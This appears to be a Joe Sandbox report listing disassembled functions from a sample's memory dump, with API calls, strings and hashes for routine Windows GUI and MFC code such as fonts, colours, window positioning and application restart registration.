Associated: 0000000B.00000002.3538190401.000000000105F000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538250784.0000000001065000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538250784.0000000001197000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_e80000_wic.jbxd

Similarity

API ID: MetricsPaintSystem$BeginClientDrawH_prolog3IconIconicMessageRectSend
String ID:
API String ID: 2989630354-0
Opcode ID: c28cea4c671ceb2325e84de4b14c4f00f2138314885343e4c910d95e1438b48b
Instruction ID: db9c2390f9cfcec4cd8364dc24299e7e3e1d5342a2b0470509b596c3b72ea945
Opcode Fuzzy Hash: c28cea4c671ceb2325e84de4b14c4f00f2138314885343e4c910d95e1438b48b
Instruction Fuzzy Hash: 0B21B5726042059FCB11DF78DC4AA6E77E9FB88310F04062DF989D6191DB65E9048B42

Function 00E8827B Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMON

Download Yara Rule

APIs

OutputDebugStringA.KERNEL32(IsolationAware function called after IsolationAwareCleanup,?,?,00E96518,00000000,01047AD0,00000010,00E95C16,?,?,?,00E958B7,00000000), ref: 00E8828F
GetLastError.KERNEL32(?,?,?,00E96518,00000000,01047AD0,00000010,00E95C16,?,?,?,00E958B7,00000000), ref: 00E882C6

Strings

IsolationAware function called after IsolationAwareCleanup, xrefs: 00E8828A

Memory Dump Source

Source File: 0000000B.00000002.3537035378.0000000000E81000.00000020.00000001.01000000.00000018.sdmp, Offset: 00E80000, based on PE: true

Associated: 0000000B.00000002.3536917498.0000000000E80000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3537726536.0000000001003000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538021434.000000000105A000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538115949.000000000105C000.00000008.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538190401.000000000105F000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538250784.0000000001065000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538250784.0000000001197000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_e80000_wic.jbxd

Similarity

API ID: DebugErrorLastOutputString
String ID: IsolationAware function called after IsolationAwareCleanup
API String ID: 4132100945-2690750368
Opcode ID: a47d3ded39f609d16a9864f45029e101aa65f0301d50ac4bc1989f4e3a4b41a3
Instruction ID: fc12f06f4e90e17a2eeb586f1fe5be93f0fe041f7515874b19d0b2cf023bead2
Opcode Fuzzy Hash: a47d3ded39f609d16a9864f45029e101aa65f0301d50ac4bc1989f4e3a4b41a3
Instruction Fuzzy Hash: A8F0C830200E618F4B353765AF4452B3695AA1674C7D02227FD4DFA125DF25DC4087A9

Function 00E97968 Relevance: 70.4, APIs: 35, Strings: 5, Instructions: 373
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog3_GS.LIBCMT ref: 00E97972

Part of subcall function 00E99951: __EH_prolog3.LIBCMT ref: 00E99958
Part of subcall function 00E99951: GetWindowDC.USER32(00000000,00000004,00E97F08,00000000), ref: 00E99984

GetDeviceCaps.GDI32(?,00000058), ref: 00E97992
DeleteObject.GDI32(00000000), ref: 00E979FC
DeleteObject.GDI32(00000000), ref: 00E97A1A
DeleteObject.GDI32(00000000), ref: 00E97A38
DeleteObject.GDI32(00000000), ref: 00E97A56
DeleteObject.GDI32(00000000), ref: 00E97A74
DeleteObject.GDI32(00000000), ref: 00E97A92
DeleteObject.GDI32(00000000), ref: 00E97AB0
DeleteObject.GDI32(00000000), ref: 00E97ACE
DeleteObject.GDI32(00000000), ref: 00E97AEC
DeleteObject.GDI32(00000000), ref: 00E97B0A
GetTextCharsetInfo.GDI32(?,00000000,00000000), ref: 00E97B42
lstrcpyA.KERNEL32(?,?), ref: 00E97B92
EnumFontFamiliesA.GDI32(?,00000000,00E971DD,Segoe UI), ref: 00E97BB9
lstrcpyA.KERNEL32(?,Segoe UI), ref: 00E97BCC
EnumFontFamiliesA.GDI32(?,00000000,00E971DD,Tahoma), ref: 00E97BEA
lstrcpyA.KERNEL32(?,MS Sans Serif), ref: 00E97C04
CreateFontIndirectA.GDI32(?), ref: 00E97C0E
CreateFontIndirectA.GDI32(?), ref: 00E97C5F
CreateFontIndirectA.GDI32(?), ref: 00E97C9E
CreateFontIndirectA.GDI32(?), ref: 00E97CCA
CreateFontIndirectA.GDI32(?), ref: 00E97CEB
GetSystemMetrics.USER32(00000048), ref: 00E97D0A
lstrcpyA.KERNEL32(?,Marlett), ref: 00E97D1D
CreateFontIndirectA.GDI32(?), ref: 00E97D27
GetStockObject.GDI32(00000011), ref: 00E97D53
GetObjectA.GDI32(00000000,0000003C,?), ref: 00E97D6A
lstrcpyA.KERNEL32(?,Arial,?,?,00000000), ref: 00E97DA7
CreateFontIndirectA.GDI32(?), ref: 00E97DB1
CreateFontIndirectA.GDI32(?), ref: 00E97DCA
GetStockObject.GDI32(00000011), ref: 00E97DDE
GetObjectA.GDI32(?,0000003C,?), ref: 00E97DF3
CreateFontIndirectA.GDI32(?), ref: 00E97E01
CreateFontIndirectA.GDI32(?), ref: 00E97E22

Part of subcall function 00E982BE: __EH_prolog3_GS.LIBCMT ref: 00E982C5
Part of subcall function 00E982BE: GetTextMetricsA.GDI32(?,00FF0000), ref: 00E982FA
Part of subcall function 00E982BE: GetTextMetricsA.GDI32(?,00FF0000), ref: 00E9833B

Part of subcall function 00E990DA: __CxxThrowException@8.LIBVCRUNTIME ref: 00E990EE

Strings

Segoe UI, xrefs: 00E97BA7, 00E97BC3
MS Sans Serif, xrefs: 00E97BFE
Tahoma, xrefs: 00E97BD8, 00E97BF7
Marlett, xrefs: 00E97D17
Arial, xrefs: 00E97D97

Memory Dump Source

Source File: 0000000B.00000002.3537035378.0000000000E81000.00000020.00000001.01000000.00000018.sdmp, Offset: 00E80000, based on PE: true

Associated: 0000000B.00000002.3536917498.0000000000E80000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3537726536.0000000001003000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538021434.000000000105A000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538115949.000000000105C000.00000008.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538190401.000000000105F000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538250784.0000000001065000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538250784.0000000001197000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_e80000_wic.jbxd

Similarity

API ID: Object$Font$CreateDeleteIndirect$lstrcpy$MetricsText$EnumFamiliesH_prolog3_Stock$CapsCharsetDeviceException@8H_prolog3InfoSystemThrowWindow
String ID: Arial$MS Sans Serif$Marlett$Segoe UI$Tahoma
API String ID: 3209990573-1395034203
Opcode ID: 7eded6c0681c14a6f7581cc5995e6c02bfbb16c0c0b101495aaae107015caca5
Instruction ID: 77018c80c5aeab3a91edc654a1190850cd7cc00b3d9af5972898ca702b014738
Opcode Fuzzy Hash: 7eded6c0681c14a6f7581cc5995e6c02bfbb16c0c0b101495aaae107015caca5
Instruction Fuzzy Hash: 23E19070905209DFDF22DFA0D859BEEBBB8BF04304F045469F586B6281DB789A48CF51

Function 00E97EA2 Relevance: 64.8, APIs: 43, Instructions: 295
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog3.LIBCMT ref: 00E97EA9
GetSysColor.USER32(00000016), ref: 00E97EB2
GetSysColor.USER32(0000000F), ref: 00E97EC5
GetSysColor.USER32(00000015), ref: 00E97EDC
GetSysColor.USER32(0000000F), ref: 00E97EE8
GetDeviceCaps.GDI32(?,0000000C), ref: 00E97F10
GetSysColor.USER32(0000000F), ref: 00E97F1E
GetSysColor.USER32(00000010), ref: 00E97F2C
GetSysColor.USER32(00000015), ref: 00E97F3A
GetSysColor.USER32(00000016), ref: 00E97F48
GetSysColor.USER32(00000014), ref: 00E97F56
GetSysColor.USER32(00000012), ref: 00E97F64
GetSysColor.USER32(00000011), ref: 00E97F72
GetSysColor.USER32(00000006), ref: 00E97F7D
GetSysColor.USER32(0000000D), ref: 00E97F88
GetSysColor.USER32(0000000E), ref: 00E97F93
GetSysColor.USER32(00000005), ref: 00E97F9E
GetSysColor.USER32(00000008), ref: 00E97FAC
GetSysColor.USER32(00000009), ref: 00E97FB7
GetSysColor.USER32(00000007), ref: 00E97FC2
GetSysColor.USER32(00000002), ref: 00E97FCD
GetSysColor.USER32(00000003), ref: 00E97FD8
GetSysColor.USER32(0000001B), ref: 00E97FE6
GetSysColor.USER32(0000001C), ref: 00E97FF4
GetSysColor.USER32(0000000A), ref: 00E98002
GetSysColor.USER32(0000000B), ref: 00E98010
GetSysColor.USER32(00000013), ref: 00E9801E
GetSysColor.USER32(0000001A), ref: 00E9803F
GetSysColorBrush.USER32(00000010), ref: 00E98058
GetSysColorBrush.USER32(00000014), ref: 00E9806B
GetSysColorBrush.USER32(00000005), ref: 00E9807E
CreateSolidBrush.GDI32(?), ref: 00E9809F
CreateSolidBrush.GDI32(?), ref: 00E980BD
CreateSolidBrush.GDI32(?), ref: 00E980DB
CreateSolidBrush.GDI32(?), ref: 00E980FC
CreateSolidBrush.GDI32(?), ref: 00E9811A
CreateSolidBrush.GDI32(?), ref: 00E98138
CreateSolidBrush.GDI32(?), ref: 00E98156
CreatePen.GDI32(00000000,00000001,00000000), ref: 00E9817A
CreatePen.GDI32(00000000,00000001,00000000), ref: 00E9819E
CreatePen.GDI32(00000000,00000001,00000000), ref: 00E981C2
CreateSolidBrush.GDI32(?), ref: 00E98240
CreatePatternBrush.GDI32(00000000), ref: 00E9827E

Memory Dump Source

Source File: 0000000B.00000002.3537035378.0000000000E81000.00000020.00000001.01000000.00000018.sdmp, Offset: 00E80000, based on PE: true

Associated: 0000000B.00000002.3536917498.0000000000E80000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3537726536.0000000001003000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538021434.000000000105A000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538115949.000000000105C000.00000008.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538190401.000000000105F000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538250784.0000000001065000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538250784.0000000001197000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_e80000_wic.jbxd

Similarity

API ID: Color$BrushCreate$Solid$CapsDeviceH_prolog3Pattern
String ID:
API String ID: 3832706086-0
Opcode ID: efc14b4d3ced01e6415a15eb0a98f908f54cd6f057c54638ce5a5cb76a310ae9
Instruction ID: bd061709a6bf14152df770f0d52b5508bf924e2b3925c0b272bbe8bb40132fd7
Opcode Fuzzy Hash: efc14b4d3ced01e6415a15eb0a98f908f54cd6f057c54638ce5a5cb76a310ae9
Instruction Fuzzy Hash: D8C186B0600B16AFDB27AF71D9097ADBFB0BF08701F041129F689EB585CB7A9510DB91

Function 00E9F8B6 Relevance: 29.9, APIs: 16, Strings: 1, Instructions: 186
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00EA562B: GetWindowLongA.USER32(00000000,000000F0), ref: 00EA5638

GetParent.USER32(00EA3AD7), ref: 00E9F8F2
SendMessageA.USER32(00000000,0000036B,00000000,00000000), ref: 00E9F917
GetWindowRect.USER32(00EA3AD7,00000000), ref: 00E9F93C
GetWindowLongA.USER32(00000000,000000F0), ref: 00E9F96B
MonitorFromWindow.USER32(00000000,00000001), ref: 00E9F9A1
GetMonitorInfoA.USER32(00000000), ref: 00E9F9A8
CopyRect.USER32(?,?), ref: 00E9F9B6
GetWindowRect.USER32(00000000,?), ref: 00E9F9C3
MonitorFromWindow.USER32(00000000,00000002), ref: 00E9F9D0
GetMonitorInfoA.USER32(00000000), ref: 00E9F9D7
CopyRect.USER32(?,?), ref: 00E9F9E5
GetParent.USER32(00EA3AD7), ref: 00E9F9F0
GetClientRect.USER32(00000000,?), ref: 00E9F9FD
GetClientRect.USER32(00000000,?), ref: 00E9FA08
MapWindowPoints.USER32(00000000,00000000,?,00000002), ref: 00E9FA16

Strings

(, xrefs: 00E9F983

Memory Dump Source

Source File: 0000000B.00000002.3537035378.0000000000E81000.00000020.00000001.01000000.00000018.sdmp, Offset: 00E80000, based on PE: true

Associated: 0000000B.00000002.3536917498.0000000000E80000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3537726536.0000000001003000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538021434.000000000105A000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538115949.000000000105C000.00000008.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538190401.000000000105F000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538250784.0000000001065000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538250784.0000000001197000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_e80000_wic.jbxd

Similarity

API ID: Window$Rect$Monitor$ClientCopyFromInfoLongParent$MessagePointsSend
String ID: (
API String ID: 3610148278-3887548279
Opcode ID: a6057f3ed5ebdb9ab2edbaac9dd8b47e98a9a922c0b02a95135a8f9aeb9382ca
Instruction ID: 4f99565e9302fa3df9f19fea9891463bb1ff40259f7ad06e797b54c07d400fc0
Opcode Fuzzy Hash: a6057f3ed5ebdb9ab2edbaac9dd8b47e98a9a922c0b02a95135a8f9aeb9382ca
Instruction Fuzzy Hash: 52614CB290020AAFCF12DFA8DD89BEEBBB9FF48315F155125E505FB244D735A9018B60

Function 00EA378F Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 66
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetClassNameA.USER32(?,?,00000100), ref: 00EA37AA
GetClassLongA.USER32(?,000000E0), ref: 00EA37CE
GetWindowLongA.USER32(?,000000FC), ref: 00EA37E3
GetPropA.USER32(?,AfxOldWndProc423), ref: 00EA37F5
SetPropA.USER32(?,AfxOldWndProc423,00000000), ref: 00EA3806
GetPropA.USER32(?,AfxOldWndProc423), ref: 00EA3812
GlobalAddAtomA.KERNEL32(AfxOldWndProc423), ref: 00EA3821
SetWindowLongA.USER32(?,000000FC,Function_00023483), ref: 00EA382F
CallNextHookEx.USER32(?,00000003,?,?), ref: 00EA3841
UnhookWindowsHookEx.USER32(?), ref: 00EA3855

Strings

AfxOldWndProc423, xrefs: 00EA37EF, 00EA3800, 00EA380C, 00EA381C

Memory Dump Source

Source File: 0000000B.00000002.3537035378.0000000000E81000.00000020.00000001.01000000.00000018.sdmp, Offset: 00E80000, based on PE: true

Associated: 0000000B.00000002.3536917498.0000000000E80000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3537726536.0000000001003000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538021434.000000000105A000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538115949.000000000105C000.00000008.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538190401.000000000105F000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538250784.0000000001065000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538250784.0000000001197000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_e80000_wic.jbxd

Similarity

API ID: LongProp$ClassHookWindow$AtomCallGlobalNameNextUnhookWindows
String ID: AfxOldWndProc423
API String ID: 3422115740-1060338832
Opcode ID: 23d196cd6e89d8a51a27321452809a280270522043a5a918bcc2845754597c34
Instruction ID: 8911f6c329a1fed17a5d82f33bef2dc3e0e91fd067c1ab3b1a5b4eacaa775c46
Opcode Fuzzy Hash: 23d196cd6e89d8a51a27321452809a280270522043a5a918bcc2845754597c34
Instruction Fuzzy Hash: E611CD71100211AFDB232B219C8DFBF7A68BF0AB65F101249F481ED1D5DB2A8A41DB61

Function 00EA3483 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 101
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog3_catch_GS.LIBCMT ref: 00EA348A
GetPropA.USER32(?,AfxOldWndProc423), ref: 00EA34A1
CallWindowProcA.USER32(?,?,00000110,?,?), ref: 00EA3505

Part of subcall function 00EA3A3C: GetWindowRect.USER32(?,?), ref: 00EA3A7D
Part of subcall function 00EA3A3C: GetWindow.USER32(00000004,00000004), ref: 00EA3A9A

SetWindowLongA.USER32(?,000000FC,00000000), ref: 00EA3525
RemovePropA.USER32(?,AfxOldWndProc423), ref: 00EA3532
GlobalFindAtomA.KERNEL32(AfxOldWndProc423), ref: 00EA3539
GlobalDeleteAtom.KERNEL32(?), ref: 00EA3543

Part of subcall function 00EA3AE7: GetWindowRect.USER32(?,?), ref: 00EA3AF4

CallWindowProcA.USER32(?,?,?,?,?), ref: 00EA359A

Strings

AfxOldWndProc423, xrefs: 00EA3495, 00EA352B, 00EA3530, 00EA3538

Memory Dump Source

Source File: 0000000B.00000002.3537035378.0000000000E81000.00000020.00000001.01000000.00000018.sdmp, Offset: 00E80000, based on PE: true

Associated: 0000000B.00000002.3536917498.0000000000E80000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3537726536.0000000001003000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538021434.000000000105A000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538115949.000000000105C000.00000008.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538190401.000000000105F000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538250784.0000000001065000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538250784.0000000001197000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_e80000_wic.jbxd

Similarity

API ID: Window$AtomCallGlobalProcPropRect$DeleteFindH_prolog3_catch_LongRemove
String ID: AfxOldWndProc423
API String ID: 3351853316-1060338832
Opcode ID: a4e042ac915eb150aa3f98c55fa4d501503b91ea01ed47ec0d137c50a7da7032
Instruction ID: 43b2545c839bc31e684bc93981d6ff03bef39a40b4b3cd2dba44fc759b58c896
Opcode Fuzzy Hash: a4e042ac915eb150aa3f98c55fa4d501503b91ea01ed47ec0d137c50a7da7032
Instruction Fuzzy Hash: 54317071D00218AFCF16AFB9DC598BFBAB8FF4E310F10511AF542BA151D739AA009B60

Function 00EA6748 Relevance: 15.1, APIs: 10, Instructions: 111
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

EnterCriticalSection.KERNEL32(?), ref: 00EA675D
GlobalAlloc.KERNEL32(00000002,00000000), ref: 00EA67B8
GlobalHandle.KERNEL32(?), ref: 00EA67C2
GlobalUnlock.KERNEL32(00000000), ref: 00EA67CB
GlobalReAlloc.KERNEL32(00000000,00000000,00002002), ref: 00EA67E5
GlobalLock.KERNEL32(00000000), ref: 00EA67F0
LeaveCriticalSection.KERNEL32(?), ref: 00EA683A
GlobalHandle.KERNEL32(?), ref: 00EA684E
GlobalLock.KERNEL32(00000000), ref: 00EA6855
LeaveCriticalSection.KERNEL32(?), ref: 00EA685F

Memory Dump Source

Source File: 0000000B.00000002.3537035378.0000000000E81000.00000020.00000001.01000000.00000018.sdmp, Offset: 00E80000, based on PE: true

Associated: 0000000B.00000002.3536917498.0000000000E80000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3537726536.0000000001003000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538021434.000000000105A000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538115949.000000000105C000.00000008.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538190401.000000000105F000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538250784.0000000001065000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538250784.0000000001197000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_e80000_wic.jbxd

Similarity

API ID: Global$CriticalSection$AllocHandleLeaveLock$EnterUnlock
String ID:
API String ID: 2667261700-0
Opcode ID: 1986b27fd8149e0f62a8e7d8295d5c3cdd2f8b222e083e19466f18e4a23f1a8b
Instruction ID: 30a287200a1f6606f0956f2027af50e6bc90aa6c13da2d664ac093572560f267
Opcode Fuzzy Hash: 1986b27fd8149e0f62a8e7d8295d5c3cdd2f8b222e083e19466f18e4a23f1a8b
Instruction Fuzzy Hash: A641AF75500204AFDB26DF68D889A697BF8FF4A305F04946AE852EB244DB75B904CB50

Function 00E87949 Relevance: 14.2, APIs: 6, Strings: 2, Instructions: 246
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog3_GS.LIBCMT ref: 00E87996
CoCreateGuid.COMBASE(?,00000000,00000000,00000030,?,?,?,?,80070057,00000000,?,00E8772F,?,?,?), ref: 00E879F3
_strlen.LIBCMT ref: 00E87A71
_strlen.LIBCMT ref: 00E87A87
_strlen.LIBCMT ref: 00E87ABF
SysFreeString.OLEAUT32(?), ref: 00E87BE9

Strings

%08lX-%04X-%04x-%02X%02X-%02X%02X%02X%02X%02X%02X, xrefs: 00E87A43
RestartByRestartManager, xrefs: 00E87A6B, 00E87A70, 00E87A78

Memory Dump Source

Source File: 0000000B.00000002.3537035378.0000000000E81000.00000020.00000001.01000000.00000018.sdmp, Offset: 00E80000, based on PE: true

Associated: 0000000B.00000002.3536917498.0000000000E80000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3537726536.0000000001003000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538021434.000000000105A000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538115949.000000000105C000.00000008.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538190401.000000000105F000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538250784.0000000001065000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538250784.0000000001197000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_e80000_wic.jbxd

Similarity

API ID: _strlen$CreateFreeGuidH_prolog3_String
String ID: %08lX-%04X-%04x-%02X%02X-%02X%02X%02X%02X%02X%02X$RestartByRestartManager
API String ID: 1721273623-5890034
Opcode ID: 69fff351226ecd3062b52a512d0b70b56c6586f0c81509055c08a85cd9126761
Instruction ID: f408dd911710887955e68d233d03d5fac91620095245a30d02889b66c0638405
Opcode Fuzzy Hash: 69fff351226ecd3062b52a512d0b70b56c6586f0c81509055c08a85cd9126761
Instruction Fuzzy Hash: 3A918371A00119AFCB06EBA4D895EFEBBF9BF09310F141068F549B7292DB359D40CB60

Function 00EA7B94 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 33
registrylibraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNEL32(kernel32.dll,?,?,00E87C22,?,?), ref: 00EA7BA6
GetProcAddress.KERNEL32(00000000,RegisterApplicationRestart), ref: 00EA7BB6
EncodePointer.KERNEL32(00000000,?,?,00E87C22,?,?), ref: 00EA7BBF
DecodePointer.KERNEL32(9D2B4F6C,?,?,00E87C22,?,?), ref: 00EA7BCD
RegisterApplicationRestart.KERNEL32(?,?,00E87C22,?,?), ref: 00EA7BE7

Strings

kernel32.dll, xrefs: 00EA7BA1
RegisterApplicationRestart, xrefs: 00EA7BB0

Memory Dump Source

Source File: 0000000B.00000002.3537035378.0000000000E81000.00000020.00000001.01000000.00000018.sdmp, Offset: 00E80000, based on PE: true

Associated: 0000000B.00000002.3536917498.0000000000E80000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3537726536.0000000001003000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538021434.000000000105A000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538115949.000000000105C000.00000008.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538190401.000000000105F000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538250784.0000000001065000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538250784.0000000001197000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_e80000_wic.jbxd

Similarity

API ID: Pointer$AddressApplicationDecodeEncodeHandleModuleProcRegisterRestart
String ID: RegisterApplicationRestart$kernel32.dll
API String ID: 2334171955-1259503209
Opcode ID: 92d14b0aad1b77f7a9f1bafcebde9288a446c517fcff3be5b490414da125d0dd
Instruction ID: c1c14f77d03beba404e0a7e55a8a6b816e95c1fd0a218725ccef297834d75951
Opcode Fuzzy Hash: 92d14b0aad1b77f7a9f1bafcebde9288a446c517fcff3be5b490414da125d0dd
Instruction Fuzzy Hash: 7DF05E75904215AF8B236B649C58C5B3FA9FF4DB94B009025FC86EE314DB3AE8008BA0

Function 00E95AF2 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 146
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GlobalLock.KERNEL32(00000000), ref: 00E95BE2

Strings

y, xrefs: 00E95AFD
b:, xrefs: 00E95B7B

Memory Dump Source

Source File: 0000000B.00000002.3537035378.0000000000E81000.00000020.00000001.01000000.00000018.sdmp, Offset: 00E80000, based on PE: true

Associated: 0000000B.00000002.3536917498.0000000000E80000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3537726536.0000000001003000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538021434.000000000105A000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538115949.000000000105C000.00000008.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538190401.000000000105F000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538250784.0000000001065000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538250784.0000000001197000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_e80000_wic.jbxd

Similarity

API ID: GlobalLock
String ID: b:$y
API String ID: 2848605275-3376816535
Opcode ID: d970e8c3afee39b5aa6a38f364a02384372607296b33ac0e11e61bfbe6a3ebde
Instruction ID: 1b0b0874c60358313d568cff44fe1b13bf225bb7f177a201d3153112905dc63c
Opcode Fuzzy Hash: d970e8c3afee39b5aa6a38f364a02384372607296b33ac0e11e61bfbe6a3ebde
Instruction Fuzzy Hash: 2D518131E00619EFCF16DFA4C995AEEBBB4BF08314F145059E911BB291DB38AD41CB91

Function 00EA2B54 Relevance: 10.6, APIs: 7, Instructions: 127
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetParent.USER32(?), ref: 00EA2B81
PeekMessageA.USER32(?,00000000,00000000,00000000,00000000), ref: 00EA2BA5
UpdateWindow.USER32(?), ref: 00EA2BBF
SendMessageA.USER32(?,00000121,?,?), ref: 00EA2BE2
SendMessageA.USER32(?,0000036A,00000000,?), ref: 00EA2BF9
UpdateWindow.USER32(?), ref: 00EA2C4A
PeekMessageA.USER32(?,00000000,00000000,00000000,00000000), ref: 00EA2C93

Part of subcall function 00EA562B: GetWindowLongA.USER32(00000000,000000F0), ref: 00EA5638

Memory Dump Source

Source File: 0000000B.00000002.3537035378.0000000000E81000.00000020.00000001.01000000.00000018.sdmp, Offset: 00E80000, based on PE: true

Associated: 0000000B.00000002.3536917498.0000000000E80000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3537726536.0000000001003000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538021434.000000000105A000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538115949.000000000105C000.00000008.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538190401.000000000105F000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538250784.0000000001065000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538250784.0000000001197000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_e80000_wic.jbxd

Similarity

API ID: Message$Window$PeekSendUpdate$LongParent
String ID:
API String ID: 2853195852-0
